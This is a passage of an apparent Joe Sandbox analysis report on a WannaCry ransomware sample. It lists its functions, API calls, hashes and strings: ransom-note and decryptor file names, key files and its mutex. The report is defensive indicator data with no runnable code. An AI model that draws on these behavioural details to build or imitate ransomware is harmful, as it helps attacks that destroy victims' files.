                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: File$CloseCreateDeleteHandleNameTemp
                                      • String ID: ~SD
                                      • API String ID: 3375149446-1091114838
                                      • Opcode ID: 5e7cbfd5b58ad9321687849607920a6fa3127069c18f055f668ff46880186f9a
                                      • Instruction ID: c2dd32fcde6a5bc41ecd7f9a6727c0a4d13da50b9158b9afa091e72ebafff611
                                      • Opcode Fuzzy Hash: 5e7cbfd5b58ad9321687849607920a6fa3127069c18f055f668ff46880186f9a
                                      • Instruction Fuzzy Hash: 00F0F63424430077F7109B64CD8EF6F73A8ABC0B80F904A2AF204E61E4E7B8D904C662
                                      Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: fclosefopenfreadfwrite
                                      • String ID: c.wnry
                                      • API String ID: 4000964834-3240288721
                                      • Opcode ID: 83356dae967f3845aa64eafaf8b7e6f79fd4dc7784855bee587f11601882f661
                                      • Instruction ID: 4fc4ee2583eead98f325da0eb4a8e2a7a7827d82b7f69226d67b1691b23a23d5
                                      • Opcode Fuzzy Hash: 83356dae967f3845aa64eafaf8b7e6f79fd4dc7784855bee587f11601882f661
                                      • Instruction Fuzzy Hash: 0CF05931204260ABCA301F656D4AA277B10DBC4F61F10083FF1C1F40E2CABD44C296BE
                                      Function 00401E67 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 36COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetFileAttributesA.KERNELBASE(?), ref: 00401E6E
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: AttributesFile
                                      • String ID: PWVuW$PX$c.wnry
                                      • API String ID: 3188754299-2001399172
                                      • Opcode ID: 839f7cb390ea7965aa881777af35edc29d91ae4c91c33b504fa7006ce55e4d90
                                      • Instruction ID: 1ab428f28edc1f41aae3b1c0182739b4a88dd02c55c662672f6f3eeec65b2962
                                      • Opcode Fuzzy Hash: 839f7cb390ea7965aa881777af35edc29d91ae4c91c33b504fa7006ce55e4d90
                                      • Instruction Fuzzy Hash: 16F08272D0101429DA20A665DC45EDF336C9B85338F1004B7F945F10C1EB39EAD58AA9
                                      Function 10003C40 Relevance: 7.6, APIs: 5, Instructions: 77COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: d0c54076f7a2448e10fc8be0b785496c0eb2b10ce162175e404115595b8610ef
                                      • Instruction ID: 138f2fe033322ba65967f8616f38530b74b5918126c82026410a31d06e5ea73c
                                      • Opcode Fuzzy Hash: d0c54076f7a2448e10fc8be0b785496c0eb2b10ce162175e404115595b8610ef
                                      • Instruction Fuzzy Hash: C821B4B56443117FF210DB14DC85F9BB7ACEBC4B64F148529FB44A72C0D2B9A80A87A6
                                      Function 10004730 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateFileA.KERNELBASE(00000000.res,40000000,00000001,00000000,00000004,00000080,00000000,00000000,?,10005A09), ref: 10004749
                                      • WriteFile.KERNELBASE(00000000), ref: 10004775
                                      • FindCloseChangeNotification.KERNELBASE(00000000), ref: 1000477C
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: File$ChangeCloseCreateFindNotificationWrite
                                      • String ID: 00000000.res
                                      • API String ID: 3805958096-1337945038
                                      • Opcode ID: 9218bb890792affa764d680ff6986bd503153ba273b76b7626a1320ac949ddd2
                                      • Instruction ID: 1a0995e2bfce3f695c42019c746602608884a1d24b5a512431a54d6d633dc8a9
                                      • Opcode Fuzzy Hash: 9218bb890792affa764d680ff6986bd503153ba273b76b7626a1320ac949ddd2
                                      • Instruction Fuzzy Hash: A7E0D17168132176F27057545C49FD62644F7447F2F204315F795E50D4DFE454444355
                                      Function 100046D0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateFileA.KERNELBASE(00000000.res,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,10005C55,00000000.pky,00000000.eky), ref: 100046E6
                                      • ReadFile.KERNEL32(00000000,1000DC68,00000088,?,00000000,?,10005C55,00000000.pky,00000000.eky), ref: 10004712
                                      • CloseHandle.KERNEL32(00000000,?,10005C55,00000000.pky,00000000.eky), ref: 10004719
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: File$CloseCreateHandleRead
                                      • String ID: 00000000.res
                                      • API String ID: 1035965006-1337945038
                                      • Opcode ID: 38f5d3609d688d52e39eed02e5728f1296c17493f38e7dd39a540115aba3ae98
                                      • Instruction ID: 54c67b85065ce4f863d8689817c15c4f2f767631175da55968cfae2d4b84cbd0
                                      • Opcode Fuzzy Hash: 38f5d3609d688d52e39eed02e5728f1296c17493f38e7dd39a540115aba3ae98
                                      • Instruction Fuzzy Hash: 65E0D872681331BAF27067649C49FCA2A88EB04BF2F314326FB95F60D4DFE4554483A5
                                      Function 10004690 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19synchronizationCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateMutexA.KERNELBASE(00000000,00000001,MsWinZonesCacheCounterMutexA,?,10005B11), ref: 1000469A
                                      • GetLastError.KERNEL32(?,10005B11), ref: 100046A6
                                      • CloseHandle.KERNEL32(00000000,?,10005B11), ref: 100046B4
                                      Strings
                                      • MsWinZonesCacheCounterMutexA, xrefs: 10004691
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: CloseCreateErrorHandleLastMutex
                                      • String ID: MsWinZonesCacheCounterMutexA
                                      • API String ID: 4294037311-694093751
                                      • Opcode ID: b4423007a58e0f84b666c0c66b10e299a80b8cce86534432c0e4c48c6a08cb45
                                      • Instruction ID: 338334782f2b9e7042141e46606865c077db62d8e45c1ffbdd960e7d74596030
                                      • Opcode Fuzzy Hash: b4423007a58e0f84b666c0c66b10e299a80b8cce86534432c0e4c48c6a08cb45
                                      • Instruction Fuzzy Hash: 88D0A731905932D7F6606B24BCC87CF2A40EB027E1F030260FA0CE559DEB598C8148E6
                                      Function 10003200 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • swprintf.MSVCRT(?,%s\%s,?,@Please_Read_Me@.txt), ref: 1000321A
                                      • CopyFileW.KERNELBASE(@Please_Read_Me@.txt,?,00000001), ref: 1000322F
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: CopyFileswprintf
                                      • String ID: %s\%s$@Please_Read_Me@.txt
                                      • API String ID: 1805135926-3539309323
                                      • Opcode ID: c411f0acc78ad9d9e9ffb173ee46626fa9530a000aff35feebebf6a00c7dad47
                                      • Instruction ID: 80308d71e87a2662e96619a8ebef87edecea0aea765e2410c23067d00ef2c009
                                      • Opcode Fuzzy Hash: c411f0acc78ad9d9e9ffb173ee46626fa9530a000aff35feebebf6a00c7dad47
                                      • Instruction Fuzzy Hash: 8BD01771818204BFF314DB68DD89EBA7268FB84384F448A08F65D90198D73599288A67
                                      Function 10003240 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.exe.lnk), ref: 1000325A
                                      • CopyFileW.KERNELBASE(@WanaDecryptor@.exe.lnk,?,00000001), ref: 1000326F
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: CopyFileswprintf
                                      • String ID: %s\%s$@WanaDecryptor@.exe.lnk
                                      • API String ID: 1805135926-795331943
                                      • Opcode ID: c250b24136dea1bfe6b7898258367bb7c04f3b9dc65f4485c6e2413ddd54f61a
                                      • Instruction ID: aabba5d832825d18aa2892ebc93e0d9c0cb5ad894a116947d65cfddac51ae073
                                      • Opcode Fuzzy Hash: c250b24136dea1bfe6b7898258367bb7c04f3b9dc65f4485c6e2413ddd54f61a
                                      • Instruction Fuzzy Hash: C5D01771814204BFF318DB68DD89FBA7268FB84384F448908F65D90198D73599288667
                                      Function 10003280 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.exe), ref: 1000329A
                                      • CopyFileW.KERNELBASE(@WanaDecryptor@.exe,?,00000001), ref: 100032AF
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: CopyFileswprintf
                                      • String ID: %s\%s$@WanaDecryptor@.exe
                                      • API String ID: 1805135926-3253365116
                                      • Opcode ID: c732863aad36b8ae60cc70cd27384ffc3547b56df3ffae6353cc428869aacd62
                                      • Instruction ID: 59ab5ee0cc2050cc8eb19bdd64a6c19fde071768e575255f68a05fb53c163eac
                                      • Opcode Fuzzy Hash: c732863aad36b8ae60cc70cd27384ffc3547b56df3ffae6353cc428869aacd62
                                      • Instruction Fuzzy Hash: 58D05E71814304BFF314DBA8DD89FBA7368FB84384F448909F65D90198D73999288677
                                      Function 10005480 Relevance: 6.1, APIs: 4, Instructions: 65COMMON
                                      Download Yara Rule
                                      APIs
                                      • SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,771B0F00,771B0F00,00000000,00000000), ref: 100054B6
                                      • wcslen.MSVCRT ref: 100054C3
                                      • SHGetFolderPathW.SHELL32(00000000,00000005,00000000,00000000,?), ref: 100054F5
                                      • wcslen.MSVCRT ref: 100054FC
                                        • Part of subcall function 100027F0: ??2@YAPAXI@Z.MSVCRT ref: 1000281A
                                        • Part of subcall function 100027F0: ??3@YAXPAX@Z.MSVCRT ref: 100028FD
                                        • Part of subcall function 100027F0: ??3@YAXPAX@Z.MSVCRT ref: 10002917
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: ??3@FolderPathwcslen$??2@
                                      • String ID:
                                      • API String ID: 2093780229-0
                                      • Opcode ID: d163edc3916c72bdfd07bfe83d2c2948d88e62c2738cec1ca9194f5dc8d6a920
                                      • Instruction ID: ae209c0b6bb9dcbb05d21899376679ada1f922680f23bc9f9cb6150d3ff098d6
                                      • Opcode Fuzzy Hash: d163edc3916c72bdfd07bfe83d2c2948d88e62c2738cec1ca9194f5dc8d6a920
                                      • Instruction Fuzzy Hash: 3211E3796843057AF610E724CC82F9B7398EFC4790F008829B749961C5EAF4B5048B66
                                      Function 100021AC Relevance: 6.0, APIs: 4, Instructions: 22fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: CloseHandle$DeleteFilewcslen
                                      • String ID:
                                      • API String ID: 3508958691-0
                                      • Opcode ID: 922f722e5c418f7af27600eb4e498b6c2fd2021f8fe4a9803ef1495644ed2b51
                                      • Instruction ID: 7a28d7368fef7b69181b6a677d113c0d8526011b338f6f6515615cb3a9903244
                                      • Opcode Fuzzy Hash: 922f722e5c418f7af27600eb4e498b6c2fd2021f8fe4a9803ef1495644ed2b51
                                      • Instruction Fuzzy Hash: 9EE01A70D021289BEF15EB74CD885DD77B8BB143E5F510691FA2AE20E8D7349F868B50
                                      Function 0040673D Relevance: 3.9, APIs: 3, Instructions: 118COMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: malloc$free
                                      • String ID:
                                      • API String ID: 1480856625-0
                                      • Opcode ID: 7c7f223d45722dd1a5fb12a7aa9efe6acce35fb7c7f9c7e07c7075de3ee23853
                                      • Instruction ID: aac915fb4bf34fb1a8bacc3e3babe0e206ffcddfbd5fe9a4c25712adb169c66b
                                      • Opcode Fuzzy Hash: 7c7f223d45722dd1a5fb12a7aa9efe6acce35fb7c7f9c7e07c7075de3ee23853
                                      • Instruction Fuzzy Hash: BB411572904B059FC725DF29D580996BBF4FF08314B50492EE59AE7B80DB34E861CF58
                                      Function 10003620 Relevance: 3.0, APIs: 2, Instructions: 42COMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: ??3@
                                      • String ID:
                                      • API String ID: 613200358-0
                                      • Opcode ID: 8a5f8720392b3e892b43d9e03d1e1f5fd7d729fd135780262f4b2675f91fb183
                                      • Instruction ID: 015025ec0514bc42ef176f8ce07f26219ab9bad9eae5a3fd53a39a66e0a759a0
                                      • Opcode Fuzzy Hash: 8a5f8720392b3e892b43d9e03d1e1f5fd7d729fd135780262f4b2675f91fb183
                                      • Instruction Fuzzy Hash: 200144B5204B049FD311CF1DD804B13F7E8FF593A4F148AA9E0A987380D772E8188B91
                                      Function 10005300 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 20sleepCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 10001080: CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 100010D3
                                        • Part of subcall function 10001080: WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 100010EB
                                        • Part of subcall function 10001080: TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 100010FC
                                        • Part of subcall function 10001080: GetExitCodeProcess.KERNEL32(?,?), ref: 10001110
                                        • Part of subcall function 10001080: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 10001121
                                        • Part of subcall function 10001080: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 10001128
                                      • Sleep.KERNELBASE(00007530), ref: 10005326
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: Process$CloseHandle$CodeCreateExitObjectSingleSleepTerminateWait
                                      • String ID: taskdl.exe
                                      • API String ID: 4030905792-3879089904
                                      • Opcode ID: 51d646c9bd2edbf85fdfc6af582cba98f12fd6c8ac893db1c951d156dd274f2d
                                      • Instruction ID: d6b831c00407921d731d2983abcfaeab2a0bbf5aee0f41f70865c78235a7e0dd
                                      • Opcode Fuzzy Hash: 51d646c9bd2edbf85fdfc6af582cba98f12fd6c8ac893db1c951d156dd274f2d
                                      • Instruction Fuzzy Hash: 52D01271B2812197F340E7795C41B8732D4A7106D1F114623F554D31DCEAD1E9008575
                                      Function 100045C0 Relevance: 3.0, APIs: 2, Instructions: 15sleepthreadCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 10004500: sprintf.MSVCRT ref: 10004528
                                        • Part of subcall function 10004500: GetFileAttributesA.KERNELBASE(?), ref: 1000453C
                                        • Part of subcall function 10004500: GetFileAttributesA.KERNEL32(00000000.pky), ref: 10004548
                                      • Sleep.KERNELBASE(00001388), ref: 100045E3
                                      • ExitThread.KERNEL32 ref: 100045E9
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: AttributesFile$ExitSleepThreadsprintf
                                      • String ID:
                                      • API String ID: 3028760467-0
                                      • Opcode ID: 5e3f6d6ed5a0ad8cdc5edd1a5f4ca14f1afc00218b5e324edc674d1ee7b02308
                                      • Instruction ID: 7f71a9df7b11f8961ba65e8475ca60af5bbcfddb40bc2544ede7146ac3c113f8
                                      • Opcode Fuzzy Hash: 5e3f6d6ed5a0ad8cdc5edd1a5f4ca14f1afc00218b5e324edc674d1ee7b02308
                                      • Instruction Fuzzy Hash: C1D0A7F5804F22D7F302A7A59C4174E36A8BF447C1F070116F5089315AEE60A6008F66
                                      Function 10004150 Relevance: 3.0, APIs: 2, Instructions: 11COMMON
                                      Download Yara Rule
                                      APIs
                                      • GlobalFree.KERNEL32(?), ref: 10004158
                                      • FindCloseChangeNotification.KERNELBASE(?), ref: 10004167
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: ChangeCloseFindFreeGlobalNotification
                                      • String ID:
                                      • API String ID: 397936838-0
                                      • Opcode ID: 95c6753cd6a729dbd2e938d525553f3bf1bc6ee1f9d914f0cf534606ea1e53d3
                                      • Instruction ID: 6e5334fcabd99f70dbee0bd7ab8d8fb6890c89af135d3bc21c4c58ce30c3f96f
                                      • Opcode Fuzzy Hash: 95c6753cd6a729dbd2e938d525553f3bf1bc6ee1f9d914f0cf534606ea1e53d3
